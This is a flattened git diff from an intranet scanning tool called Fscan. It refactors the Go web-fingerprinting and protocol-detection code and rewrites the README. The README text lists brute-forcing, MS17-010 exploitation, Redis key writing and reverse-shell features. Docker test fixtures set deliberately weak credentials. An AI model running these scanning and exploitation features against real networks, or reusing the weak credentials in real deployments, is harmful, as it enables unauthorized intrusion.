info.Url = fmt.Sprintf("https://%s", info.Host) info.Url = fmt.Sprintf("%s://%s", httpsProtocol, info.Host)
default: default:
host := fmt.Sprintf("%s:%s", info.Host, info.Ports) host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("正在检测主机协议: %s", host)) protocol, err := detectProtocol(host, Common.Timeout)
protocol := GetProtocol(host, Common.Timeout) if err != nil {
Common.LogDebug(fmt.Sprintf("检测到协议: %s", protocol)) return fmt.Errorf("协议检测失败: %w", err)
}
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports) info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
} }
} else { } else if !strings.Contains(info.Url, "://") {
// 处理未指定协议的URL // 处理未指定协议的Url
if !strings.Contains(info.Url, "://") { host := strings.Split(info.Url, "/")[0]
Common.LogDebug("URL未包含协议开始检测") protocol, err := detectProtocol(host, Common.Timeout)
host := strings.Split(info.Url, "/")[0]
protocol := GetProtocol(host, Common.Timeout)
Common.LogDebug(fmt.Sprintf("检测到协议: %s", protocol))
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
}
}
Common.LogDebug(fmt.Sprintf("协议检测完成后的URL: %s", info.Url))
// 第一次获取URL
Common.LogDebug("第一次尝试访问URL")
err, result, CheckData := geturl(info, 1, CheckData)
Common.LogDebug(fmt.Sprintf("第一次访问结果 - 错误: %v, 返回信息: %s", err, result))
if err != nil && !strings.Contains(err.Error(), "EOF") {
return
}
// 处理URL跳转
if strings.Contains(result, "://") {
Common.LogDebug(fmt.Sprintf("检测到重定向到: %s", result))
info.Url = result
err, result, CheckData = geturl(info, 3, CheckData)
Common.LogDebug(fmt.Sprintf("重定向请求结果 - 错误: %v, 返回信息: %s", err, result))
if err != nil { if err != nil {
return return fmt.Errorf("协议检测失败: %w", err)
} }
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
} }
// 处理HTTP到HTTPS的升级 return nil
if result == "https" && !strings.HasPrefix(info.Url, "https://") {
Common.LogDebug("正在升级到HTTPS")
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
Common.LogDebug(fmt.Sprintf("升级后的URL: %s", info.Url))
err, result, CheckData = geturl(info, 1, CheckData)
// 处理升级后的跳转
if strings.Contains(result, "://") {
Common.LogDebug(fmt.Sprintf("HTTPS升级后发现重定向到: %s", result))
info.Url = result
err, _, CheckData = geturl(info, 3, CheckData)
if err != nil {
return
}
}
}
Common.LogDebug(fmt.Sprintf("GOWebTitle执行完成 - 错误: %v", err))
if err != nil {
return
}
return
} }
func geturl(info *Common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { // 获取Web信息标题、指纹等
Common.LogDebug(fmt.Sprintf("geturl开始执行 - URL: %s, 标志位: %d", info.Url, flag)) func fetchWebInfo(info *Common.HostInfo) ([]WebScan.CheckDatas, error) {
var checkData []WebScan.CheckDatas
// 处理目标URL // 记录原始Url协议
Url := info.Url originalUrl := info.Url
if flag == 2 { isHTTPS := strings.HasPrefix(info.Url, "https://")
Common.LogDebug("处理favicon.ico URL")
URL, err := url.Parse(Url) // 第一次尝试访问Url
if err == nil { resp, err := fetchUrlWithRetry(info, false, &checkData)
Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host)
// 处理不同的错误情况
if err != nil {
// 如果是HTTPS并失败尝试降级到HTTP
if isHTTPS {
info.Url = strings.Replace(info.Url, "https://", "http://", 1)
resp, err = fetchUrlWithRetry(info, false, &checkData)
// 如果HTTP也失败恢复原始Url并返回错误
if err != nil {
info.Url = originalUrl
return checkData, err
}
} else { } else {
Url += "/favicon.ico" return checkData, err
} }
Common.LogDebug(fmt.Sprintf("favicon URL: %s", Url))
} }
// 创建HTTP请求 // 处理重定向
Common.LogDebug("开始创建HTTP请求") if resp != nil && resp.RedirectUrl != "" {
req, err := http.NewRequest("GET", Url, nil) info.Url = resp.RedirectUrl
resp, err = fetchUrlWithRetry(info, true, &checkData)
// 如果重定向后失败,尝试降级协议
if err != nil && strings.HasPrefix(info.Url, "https://") {
info.Url = strings.Replace(info.Url, "https://", "http://", 1)
resp, err = fetchUrlWithRetry(info, true, &checkData)
}
}
// 处理需要升级到HTTPS的情况
if resp != nil && resp.StatusCode == 400 && !strings.HasPrefix(info.Url, "https://") {
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
resp, err = fetchUrlWithRetry(info, false, &checkData)
// 如果HTTPS升级失败回退到HTTP
if err != nil {
info.Url = strings.Replace(info.Url, "https://", "http://", 1)
resp, err = fetchUrlWithRetry(info, false, &checkData)
}
// 处理升级后的重定向
if resp != nil && resp.RedirectUrl != "" {
info.Url = resp.RedirectUrl
resp, err = fetchUrlWithRetry(info, true, &checkData)
}
}
return checkData, err
}
// 尝试获取Url支持重试
func fetchUrlWithRetry(info *Common.HostInfo, followRedirect bool, checkData *[]WebScan.CheckDatas) (*WebResponse, error) {
// 获取页面内容
resp, err := fetchUrl(info.Url, followRedirect)
if err != nil { if err != nil {
Common.LogDebug(fmt.Sprintf("创建HTTP请求失败: %v", err)) return nil, err
return err, "", CheckData }
// 保存检查数据
if resp.Body != nil && len(resp.Body) > 0 {
headers := fmt.Sprintf("%v", resp.Headers)
*checkData = append(*checkData, WebScan.CheckDatas{resp.Body, headers})
}
// 保存扫描结果
if resp.StatusCode > 0 {
saveWebResult(info, resp)
}
return resp, nil
}
// 抓取Url内容
func fetchUrl(targetUrl string, followRedirect bool) (*WebResponse, error) {
// 创建HTTP请求
req, err := http.NewRequest("GET", targetUrl, nil)
if err != nil {
return nil, fmt.Errorf("创建HTTP请求失败: %w", err)
} }
// 设置请求头 // 设置请求头
@ -153,257 +227,327 @@ func geturl(info *Common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
req.Header.Set("Cookie", Common.Cookie) req.Header.Set("Cookie", Common.Cookie)
} }
req.Header.Set("Connection", "close") req.Header.Set("Connection", "close")
Common.LogDebug("已设置请求头")
// 选择HTTP客户端 // 选择HTTP客户端
var client *http.Client var client *http.Client
if flag == 1 { if followRedirect {
client = lib.ClientNoRedirect
Common.LogDebug("使用不跟随重定向的客户端")
} else {
client = lib.Client client = lib.Client
Common.LogDebug("使用普通客户端") } else {
client = lib.ClientNoRedirect
} }
// 检查客户端是否为空
if client == nil { if client == nil {
Common.LogDebug("错误: HTTP客户端为空") return nil, ErrHTTPClientInit
return fmt.Errorf("HTTP客户端未初始化"), "", CheckData
} }
// 发送请求 // 发送请求
Common.LogDebug("开始发送HTTP请求")
resp, err := client.Do(req) resp, err := client.Do(req)
if err != nil { if err != nil {
Common.LogDebug(fmt.Sprintf("HTTP请求失败: %v", err)) // 特殊处理SSL/TLS相关错误
return err, "https", CheckData errMsg := strings.ToLower(err.Error())
if strings.Contains(errMsg, "tls") || strings.Contains(errMsg, "ssl") ||
strings.Contains(errMsg, "handshake") || strings.Contains(errMsg, "certificate") {
return &WebResponse{Error: err}, nil
}
return nil, err
} }
defer resp.Body.Close() defer resp.Body.Close()
Common.LogDebug(fmt.Sprintf("收到HTTP响应状态码: %d", resp.StatusCode))
// 准备响应结果
result := &WebResponse{
Url: req.URL.String(),
StatusCode: resp.StatusCode,
Headers: make(map[string]string),
}
// 提取响应头
for k, v := range resp.Header {
if len(v) > 0 {
result.Headers[k] = v[0]
}
}
// 获取内容长度
result.Length = resp.Header.Get(contentLength)
// 检查重定向
redirectUrl, err := resp.Location()
if err == nil {
result.RedirectUrl = redirectUrl.String()
}
// 读取响应内容 // 读取响应内容
body, err := getRespBody(resp) body, err := readResponseBody(resp)
if err != nil { if err != nil {
Common.LogDebug(fmt.Sprintf("读取响应内容失败: %v", err)) return result, fmt.Errorf("读取响应内容失败: %w", err)
return err, "https", CheckData
} }
Common.LogDebug(fmt.Sprintf("成功读取响应内容,长度: %d", len(body))) result.Body = body
// 保存检查数据 // 提取标题
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)}) if !utf8.Valid(body) {
Common.LogDebug("已保存检查数据") body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
}
result.Title = extractTitle(body)
// 处理非favicon请求 if result.Length == "" {
var reurl string result.Length = fmt.Sprintf("%d", len(body))
if flag != 2 {
// 处理编码
if !utf8.Valid(body) {
body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
}
// 获取页面信息
title := gettitle(body)
length := resp.Header.Get("Content-Length")
if length == "" {
length = fmt.Sprintf("%v", len(body))
}
// 收集服务器信息
serverInfo := make(map[string]interface{})
serverInfo["title"] = title
serverInfo["length"] = length
serverInfo["status_code"] = resp.StatusCode
// 收集响应头信息
for k, v := range resp.Header {
if len(v) > 0 {
serverInfo[strings.ToLower(k)] = v[0]
}
}
// 检查重定向
redirURL, err1 := resp.Location()
if err1 == nil {
reurl = redirURL.String()
serverInfo["redirect_url"] = reurl
}
// 保存扫描结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.SERVICE,
Target: info.Host,
Status: "identified",
Details: map[string]interface{}{
"port": info.Ports,
"service": "http",
"title": title,
"url": resp.Request.URL.String(),
"status_code": resp.StatusCode,
"length": length,
"server_info": serverInfo,
"fingerprints": info.Infostr, // 指纹信息
},
}
Common.SaveResult(result)
// 输出控制台日志
logMsg := fmt.Sprintf("网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
resp.Request.URL, resp.StatusCode, length, title)
if reurl != "" {
logMsg += fmt.Sprintf(" 重定向地址: %s", reurl)
}
Common.LogSuccess(logMsg)
} }
// 返回结果 return result, nil
if reurl != "" {
Common.LogDebug(fmt.Sprintf("返回重定向URL: %s", reurl))
return nil, reurl, CheckData
}
if resp.StatusCode == 400 && !strings.HasPrefix(info.Url, "https") {
Common.LogDebug("返回HTTPS升级标志")
return nil, "https", CheckData
}
Common.LogDebug("geturl执行完成无特殊返回")
return nil, "", CheckData
} }
// getRespBody 读取HTTP响应体内容 // 读取HTTP响应体内容
func getRespBody(oResp *http.Response) ([]byte, error) { func readResponseBody(resp *http.Response) ([]byte, error) {
Common.LogDebug("开始读取响应体内容")
var body []byte var body []byte
var reader io.Reader = resp.Body
// 处理gzip压缩的响应 // 处理gzip压缩的响应
if oResp.Header.Get("Content-Encoding") == "gzip" { if resp.Header.Get(contentEncoding) == gzipEncoding {
Common.LogDebug("检测到gzip压缩开始解压") gr, err := gzip.NewReader(resp.Body)
gr, err := gzip.NewReader(oResp.Body)
if err != nil { if err != nil {
Common.LogDebug(fmt.Sprintf("创建gzip解压器失败: %v", err)) return nil, fmt.Errorf("创建gzip解压器失败: %w", err)
return nil, err
} }
defer gr.Close() defer gr.Close()
reader = gr
// 循环读取解压内容
for {
buf := make([]byte, 1024)
n, err := gr.Read(buf)
if err != nil && err != io.EOF {
Common.LogDebug(fmt.Sprintf("读取压缩内容失败: %v", err))
return nil, err
}
if n == 0 {
break
}
body = append(body, buf...)
}
Common.LogDebug(fmt.Sprintf("gzip解压完成内容长度: %d", len(body)))
} else {
// 直接读取未压缩的响应
Common.LogDebug("读取未压缩的响应内容")
raw, err := io.ReadAll(oResp.Body)
if err != nil {
Common.LogDebug(fmt.Sprintf("读取响应内容失败: %v", err))
return nil, err
}
body = raw
Common.LogDebug(fmt.Sprintf("读取完成,内容长度: %d", len(body)))
} }
// 读取内容
body, err := io.ReadAll(reader)
if err != nil {
return nil, fmt.Errorf("读取响应内容失败: %w", err)
}
return body, nil return body, nil
} }
// gettitle 从HTML内容中提取网页标题 // 提取网页标题
func gettitle(body []byte) (title string) { func extractTitle(body []byte) string {
Common.LogDebug("开始提取网页标题")
// 使用正则表达式匹配title标签内容 // 使用正则表达式匹配title标签内容
re := regexp.MustCompile("(?ims)<title.*?>(.*?)</title>") re := regexp.MustCompile("(?ims)<title.*?>(.*?)</title>")
find := re.FindSubmatch(body) find := re.FindSubmatch(body)
if len(find) > 1 { if len(find) > 1 {
title = string(find[1]) title := string(find[1])
Common.LogDebug(fmt.Sprintf("找到原始标题: %s", title))
// 清理标题内容 // 清理标题内容
title = strings.TrimSpace(title) // 去除首尾空格 title = strings.TrimSpace(title)
title = strings.Replace(title, "\n", "", -1) // 去除换行 title = strings.Replace(title, "\n", "", -1)
title = strings.Replace(title, "\r", "", -1) // 去除回车 title = strings.Replace(title, "\r", "", -1)
title = strings.Replace(title, "&nbsp;", " ", -1) // 替换HTML空格 title = strings.Replace(title, "&nbsp;", " ", -1)
// 截断过长的标题 // 截断过长的标题
if len(title) > 100 { if len(title) > maxTitleLength {
Common.LogDebug("标题超过100字符进行截断") title = title[:maxTitleLength]
title = title[:100]
} }
// 处理空标题 // 处理空标题
if title == "" { if title == "" {
Common.LogDebug("标题为空,使用双引号代替") return emptyTitle
title = "\"\""
} }
} else {
Common.LogDebug("未找到标题标签") return title
title = "无标题"
} }
Common.LogDebug(fmt.Sprintf("最终标题: %s", title))
return return noTitleText
} }
// GetProtocol 检测目标主机的协议类型(HTTP/HTTPS) // 保存Web扫描结果
func GetProtocol(host string, Timeout int64) (protocol string) { func saveWebResult(info *Common.HostInfo, resp *WebResponse) {
Common.LogDebug(fmt.Sprintf("开始检测主机协议 - 主机: %s, 超时: %d秒", host, Timeout)) // 处理指纹信息
protocol = "http" fingerprints := info.Infostr
if len(fingerprints) == 1 && fingerprints[0] == "" {
fingerprints = []string{}
}
// 准备服务器信息
serverInfo := make(map[string]interface{})
serverInfo["title"] = resp.Title
serverInfo["length"] = resp.Length
serverInfo["status_code"] = resp.StatusCode
// 添加响应头信息
for k, v := range resp.Headers {
serverInfo[strings.ToLower(k)] = v
}
// 添加重定向信息
if resp.RedirectUrl != "" {
serverInfo["redirect_Url"] = resp.RedirectUrl
}
// 保存扫描结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.SERVICE,
Target: info.Host,
Status: "identified",
Details: map[string]interface{}{
"port": info.Ports,
"service": "http",
"title": resp.Title,
"Url": resp.Url,
"status_code": resp.StatusCode,
"length": resp.Length,
"server_info": serverInfo,
"fingerprints": fingerprints,
},
}
Common.SaveResult(result)
// 输出控制台日志
logMsg := fmt.Sprintf("网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
resp.Url, resp.StatusCode, resp.Length, resp.Title)
if resp.RedirectUrl != "" {
logMsg += fmt.Sprintf(" 重定向地址: %s", resp.RedirectUrl)
}
if len(fingerprints) > 0 {
logMsg += fmt.Sprintf(" 指纹:%v", fingerprints)
}
Common.LogInfo(logMsg)
}
// 检测目标主机的协议类型(HTTP/HTTPS)
func detectProtocol(host string, timeout int64) (string, error) {
// 根据标准端口快速判断协议 // 根据标准端口快速判断协议
if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") { if strings.HasSuffix(host, ":"+httpPort) {
Common.LogDebug("检测到HTTP标准端口或无端口使用HTTP协议") return httpProtocol, nil
return } else if strings.HasSuffix(host, ":"+httpsPort) {
} else if strings.HasSuffix(host, ":443") { return httpsProtocol, nil
Common.LogDebug("检测到HTTPS标准端口使用HTTPS协议")
protocol = "https"
return
} }
// 尝试建立TCP连接 timeoutDuration := time.Duration(timeout) * time.Second
Common.LogDebug("尝试建立TCP连接") ctx, cancel := context.WithTimeout(context.Background(), timeoutDuration)
socksconn, err := Common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second) defer cancel()
if err != nil {
Common.LogDebug(fmt.Sprintf("TCP连接失败: %v", err))
return
}
// 尝试TLS握手 // 并发检测HTTP和HTTPS
Common.LogDebug("开始TLS握手") resultChan := make(chan ProtocolResult, 2)
conn := tls.Client(socksconn, &tls.Config{ wg := sync.WaitGroup{}
MinVersion: tls.VersionTLS10, wg.Add(2)
InsecureSkipVerify: true,
})
// 确保连接关闭 // 检测HTTPS
defer func() { go func() {
if conn != nil { defer wg.Done()
defer func() { success := checkHTTPS(host, timeoutDuration/2)
if err := recover(); err != nil { select {
Common.LogError(fmt.Sprintf("连接关闭时发生错误: %v", err)) case resultChan <- ProtocolResult{httpsProtocol, success}:
} case <-ctx.Done():
}()
Common.LogDebug("关闭连接")
conn.Close()
} }
}() }()
// 设置连接超时 // 检测HTTP
conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second)) go func() {
defer wg.Done()
success := checkHTTP(ctx, host, timeoutDuration/2)
select {
case resultChan <- ProtocolResult{httpProtocol, success}:
case <-ctx.Done():
}
}()
// 执行TLS握手 // 确保所有goroutine正常退出
err = conn.Handshake() go func() {
if err == nil || strings.Contains(err.Error(), "handshake failure") { wg.Wait()
Common.LogDebug("TLS握手成功或握手失败但确认是HTTPS协议") close(resultChan)
protocol = "https" }()
} else {
Common.LogDebug(fmt.Sprintf("TLS握手失败: %v使用HTTP协议", err)) // 收集结果
var httpsResult, httpResult *ProtocolResult
for result := range resultChan {
if result.Protocol == httpsProtocol {
r := result
httpsResult = &r
} else if result.Protocol == httpProtocol {
r := result
httpResult = &r
}
} }
Common.LogDebug(fmt.Sprintf("协议检测完成,使用: %s", protocol)) // 决定使用哪种协议 - 优先使用HTTPS
return protocol if httpsResult != nil && httpsResult.Success {
return httpsProtocol, nil
} else if httpResult != nil && httpResult.Success {
return httpProtocol, nil
}
// 默认使用HTTP
return defaultProtocol, nil
}
// 检测HTTPS协议
func checkHTTPS(host string, timeout time.Duration) bool {
tlsConfig := &tls.Config{
InsecureSkipVerify: true,
MinVersion: tls.VersionTLS10,
}
dialer := &net.Dialer{
Timeout: timeout,
}
conn, err := tls.DialWithDialer(dialer, "tcp", host, tlsConfig)
if err == nil {
conn.Close()
return true
}
// 分析TLS错误某些错误可能表明服务器支持TLS但有其他问题
errMsg := strings.ToLower(err.Error())
return strings.Contains(errMsg, "handshake failure") ||
strings.Contains(errMsg, "certificate") ||
strings.Contains(errMsg, "tls") ||
strings.Contains(errMsg, "x509") ||
strings.Contains(errMsg, "secure")
}
// 检测HTTP协议
func checkHTTP(ctx context.Context, host string, timeout time.Duration) bool {
req, err := http.NewRequestWithContext(ctx, "HEAD", fmt.Sprintf("http://%s", host), nil)
if err != nil {
return false
}
client := &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
DialContext: (&net.Dialer{
Timeout: timeout,
}).DialContext,
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse // 不跟随重定向
},
Timeout: timeout,
}
resp, err := client.Do(req)
if err == nil {
resp.Body.Close()
return true
}
// 尝试原始TCP连接和简单HTTP请求
netConn, err := net.DialTimeout("tcp", host, timeout)
if err == nil {
defer netConn.Close()
netConn.SetDeadline(time.Now().Add(timeout))
// 发送简单HTTP请求
_, err = netConn.Write([]byte("HEAD / HTTP/1.0\r\nHost: " + host + "\r\n\r\n"))
if err == nil {
// 读取响应
buf := make([]byte, 1024)
netConn.SetDeadline(time.Now().Add(timeout))
n, err := netConn.Read(buf)
if err == nil && n > 0 {
response := string(buf[:n])
return strings.Contains(response, "HTTP/")
}
}
}
return false
} }

224
README.md
View File

@ -1,49 +1,9 @@
# Fscan 2.0.0 # Fscan
[English][url-docen] [English][url-docen]
# 0x00 新增功能
1、UI/UX 优化
2、增加修改-f -o参数-f支持txt/csv/json输出格式优化
3、增加端口指纹识别功能。
4、增加本地信息搜集模块增加本地域控探测模块增加本地Minidump模块
5、增加Telnet、VNC、Elasticsearch、RabbitMQ、Kafka、ActiveMQ、LDAP、SMTP、IMAP、POP3、SNMP、Zabbix、Modbus、Rsync、Cassandra、Neo4j扫描。
6、架构重构以反射+插件模块构建
7、增加-log参数支持INFOSUCCESS、ERROR、DEBUG参数用于调试具体信息。
8、优化线程现在会以更好的多线程运行
**新版由于对旧版代码进行了全面的重构难免会有Bug请在遇到Bug时提交Issue会尽快修复处理感谢。**
**欢迎提交新的插件模块,目前插件为快速热插拔形式,适用于简易开发。**
# 0x01 简介 # 0x01 简介
一款功能丰富的内网综合扫描工具,提供一键自动化、全方位的漏洞扫描能力。 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
## 主要功能
- 主机存活探测:快速识别内网中的活跃主机
- 端口扫描:全面检测目标主机开放端口
- 服务爆破:支持对常见服务进行密码爆破测试
- 漏洞利用集成MS17-010等高危漏洞检测
- Redis利用支持批量写入公钥进行权限获取
- 系统信息收集可读取Windows网卡信息
- Web应用检测
- Web指纹识别
- Web漏洞扫描
- 域环境探测:
- NetBIOS信息获取
- 域控制器识别
- 后渗透功能支持通过计划任务实现反弹shell
# 0x02 主要功能 # 0x02 主要功能
## 1. 信息搜集 ## 1. 信息搜集
@ -73,119 +33,19 @@
- 扫描结果存储:将所有检测结果保存至文件,便于后续分析 - 扫描结果存储:将所有检测结果保存至文件,便于后续分析
# 0x03 使用说明 # 0x03 使用说明
完整功能介绍、使用说明及最新更新请访问我们的官方网站。
## 基础扫描配置 ## 官方网站
**以下参数由于重构原因并不能保证每一个参数都可以正常运行出现问题请及时提交Issue。** **https://fscan.club/**
**目标配置** 访问官网获取:
``` - 详细功能文档
-h 指定目标(支持格式:192.168.1.1/24, 192.168.1.1-255, 192.168.1.1,192.168.1.2) - 使用教程
-eh 排除特定目标 - 最新版本下载
-hf 从文件导入目标 - 常见问题解答
``` - 技术支持
**端口配置**
```
-p 指定端口范围(默认常用端口),如: -p 22,80,3306 或 -p 1-65535
-portf 从文件导入端口列表
```
## 认证配置
**用户名密码**
```
-user 指定用户名
-pwd 指定密码
-userf 用户名字典文件
-pwdf 密码字典文件
-usera 添加额外用户名
-pwda 添加额外密码
-domain 指定域名
```
**SSH相关**
```
-sshkey SSH私钥路径
-c SSH连接后执行的命令
```
## 扫描控制
**扫描模式**
```
-m 指定扫描模式(默认为All)
-t 线程数(默认60)
-time 超时时间(默认3秒)
-top 存活检测结果展示数量(默认10)
-np 跳过存活检测
-ping 使用ping代替ICMP
-skip 跳过指纹识别
```
## Web扫描配置
```
-u 指定单个URL扫描
-uf 从文件导入URL列表
-cookie 设置Cookie
-wt Web请求超时时间(默认5秒)
```
## 代理设置
```
-proxy HTTP代理(如: http://127.0.0.1:8080)
-socks5 SOCKS5代理(如: 127.0.0.1:1080)
```
## POC扫描配置
```
-pocpath POC文件路径
-pocname 指定POC名称
-full 启用完整POC扫描
-dns 启用DNS日志
-num POC并发数(默认20)
```
## Redis利用配置
```
-rf Redis文件名
-rs Redis Shell配置
-noredis 禁用Redis检测
```
## 输出控制
```
-o 输出文件路径(默认关闭)
-f 输出格式(默认txt)
-no 禁用结果保存
-silent 静默模式
-nocolor 禁用彩色输出
-json JSON格式输出
-log 日志级别设置
-pg 显示扫描进度条
```
## 其他配置
```
-local 本地模式
-nobr 禁用暴力破解
-retry 最大重试次数(默认3次)
-path 远程路径配置
-hash 哈希值
-hashf 哈希文件
-sc Shellcode配置
-wmi 启用WMI
-lang 语言设置(默认zh)
```
**以上参数由于重构原因并不能保证每一个参数都可以正常运行出现问题请及时提交Issue。**
## 编译说明 ## 编译说明
@ -265,64 +125,18 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G
# 0x08 捐赠 # 0x08 捐赠
如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png) 如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png)
# 0x09 参考链接 # 0x09 安全培训
![img.png](image/5.png)
学网络安全,就选玲珑安全!专业漏洞挖掘,精准定位风险;助力技能提升,塑造安全精英;玲珑安全,为您的数字世界保驾护航!
在线免费学习网络安全涵盖src漏洞挖掘0基础安全入门。适用于小白进阶高手: https://space.bilibili.com/602205041
玲珑安全往期学员报喜🎉: https://www.ifhsec.com/list.html
玲珑安全漏洞挖掘培训学习联系微信: linglongsec
# 0x10 参考链接
https://github.com/Adminisme/ServerScan https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc https://github.com/jjf012/gopoc
# 0x10 最近更新
## 2024 更新
- **2024/12/19**: v2.0.0 重大更新
- 完整代码重构,提升性能和可维护性
- 重新设计模块化架构,支持插件扩展
- 改进并发控制,提升扫描效率
## 2023 更新
- **2023/11/13**:
- 新增控制台颜色输出(可用 `-nocolor` 关闭)
- 支持JSON格式保存结果`-json`
- 调整TLS最低版本至1.0
- 支持端口分组(`-p db,web,service`
## 2022 更新
- **2022/11/19**: 新增hash碰撞和wmiexec无回显命令执行功能
- **2022/7/14**: 改进文件导入支持和搜索匹配功能
- **2022/7/6**: 优化内存管理扩展URL支持
- **2022/7/2**:
- 增强POC fuzz模块
- 新增MS17017利用功能
- 加入socks5代理支持
- **2022/4/20**: 新增POC路径指定和端口文件导入功能
- **2022/2/25**: 新增webonly模式致谢 @AgeloVito
- **2022/1/11**: 新增Oracle密码爆破
- **2022/1/7**: 改进大规模网段扫描新增LiveTop功能
## 2021 更新
- **2021/12/7**: 新增RDP扫描功能
- **2021/12/1**: 全面优化功能模块
- **2021/6/18**: 改进POC识别机制
- **2021/5/29**: 新增FCGI未授权扫描
- **2021/5/15**: 发布Windows 2003版本
- **2021/5/6**: 更新核心模块
- **2021/4/21**: 加入NetBIOS探测和域控识别
- **2021/3/4**: 支持URL批量扫描
- **2021/2/25**: 支持密码爆破功能
- **2021/2/8**: 新增指纹识别功能
- **2021/2/5**: 优化ICMP探测
## 2020 更新
- **2020/12/12**: 集成YAML解析引擎支持XRay POC
- **2020/12/6**: 优化ICMP模块
- **2020/12/03**: 改进IP段处理
- **2020/11/17**: 新增WebScan模块
- **2020/11/16**: 优化ICMP模块
- **2020/11/15**: 支持文件导入IP
_感谢所有为项目做出贡献的开发者_
[url-docen]: README_EN.md [url-docen]: README_EN.md

View File

@ -11,7 +11,7 @@
<plugins> <plugins>
<simpleAuthenticationPlugin> <simpleAuthenticationPlugin>
<users> <users>
<authenticationUser username="admin" password="123456" groups="admins,publishers,consumers"/> <authenticationUser username="admin" password="Aa123456789" groups="admins,publishers,consumers"/>
<authenticationUser username="test" password="test123" groups="publishers,consumers"/> <authenticationUser username="test" password="test123" groups="publishers,consumers"/>
<authenticationUser username="root" password="root123" groups="admins"/> <authenticationUser username="root" password="root123" groups="admins"/>
<authenticationUser username="system" password="admin123" groups="admins"/> <authenticationUser username="system" password="admin123" groups="admins"/>

View File

@ -1,4 +1,4 @@
admin=123456 admin=Aa123456789
test=test123 test=test123
root=root123 root=root123
system=admin123 system=admin123

View File

@ -1,28 +1,22 @@
# docker-compose.yml # docker-compose.yml
version: '3' version: '3'
services: services:
zookeeper:
image: bitnami/zookeeper:latest
environment:
- ALLOW_ANONYMOUS_LOGIN=yes
ports:
- "2181:2181"
kafka: kafka:
image: bitnami/kafka:latest image: bitnami/kafka:latest
ports: ports:
- "9092:9092" - "9092:9092"
environment: environment:
- KAFKA_CFG_ZOOKEEPER_CONNECT=zookeeper:2181 - KAFKA_CFG_NODE_ID=1
- KAFKA_CFG_LISTENERS=SASL_PLAINTEXT://:9092 - KAFKA_CFG_PROCESS_ROLES=broker,controller
- KAFKA_CFG_CONTROLLER_QUORUM_VOTERS=1@kafka:9093
- KAFKA_CFG_CONTROLLER_LISTENER_NAMES=CONTROLLER
- KAFKA_CFG_LISTENERS=CONTROLLER://:9093,SASL_PLAINTEXT://:9092
- KAFKA_CFG_ADVERTISED_LISTENERS=SASL_PLAINTEXT://localhost:9092 - KAFKA_CFG_ADVERTISED_LISTENERS=SASL_PLAINTEXT://localhost:9092
- KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=SASL_PLAINTEXT:SASL_PLAINTEXT - KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=CONTROLLER:PLAINTEXT,SASL_PLAINTEXT:SASL_PLAINTEXT
- KAFKA_CFG_SASL_ENABLED_MECHANISMS=PLAIN - KAFKA_CFG_SASL_ENABLED_MECHANISMS=PLAIN
- KAFKA_CFG_SASL_MECHANISM_INTER_BROKER_PROTOCOL=PLAIN - KAFKA_CFG_SASL_MECHANISM_INTER_BROKER_PROTOCOL=PLAIN
- KAFKA_CFG_INTER_BROKER_LISTENER_NAME=SASL_PLAINTEXT - KAFKA_CFG_INTER_BROKER_LISTENER_NAME=SASL_PLAINTEXT
- KAFKA_OPTS=-Djava.security.auth.login.config=/opt/bitnami/kafka/config/kafka_jaas.conf - KAFKA_OPTS=-Djava.security.auth.login.config=/opt/bitnami/kafka/config/kafka_jaas.conf
- ALLOW_PLAINTEXT_LISTENER=yes - ALLOW_PLAINTEXT_LISTENER=yes
volumes: volumes:
- ./kafka_jaas.conf:/opt/bitnami/kafka/config/kafka_jaas.conf - ./kafka_jaas.conf:/opt/bitnami/kafka/config/kafka_jaas.conf
depends_on:
- zookeeper

View File

@ -5,7 +5,7 @@ ENV LDAP_ORGANISATION="Example Inc"
ENV LDAP_DOMAIN="example.com" ENV LDAP_DOMAIN="example.com"
ENV LDAP_BASE_DN="dc=example,dc=com" ENV LDAP_BASE_DN="dc=example,dc=com"
# 设置一个弱密码 # 设置一个弱密码
ENV LDAP_ADMIN_PASSWORD="123456" ENV LDAP_ADMIN_PASSWORD="Aa123456789"
# 允许匿名访问 # 允许匿名访问
ENV LDAP_READONLY_USER="true" ENV LDAP_READONLY_USER="true"
ENV LDAP_READONLY_USER_USERNAME="readonly" ENV LDAP_READONLY_USER_USERNAME="readonly"

View File

@ -1,16 +1,13 @@
# 使用Oracle官方容器镜像 # 使用Oracle官方容器镜像
FROM container-registry.oracle.com/database/express:latest FROM container-registry.oracle.com/database/express:21.3.0-xe
# 设置环境变量 # 设置环境变量
ENV ORACLE_PWD=123456 ENV ORACLE_PWD=123456
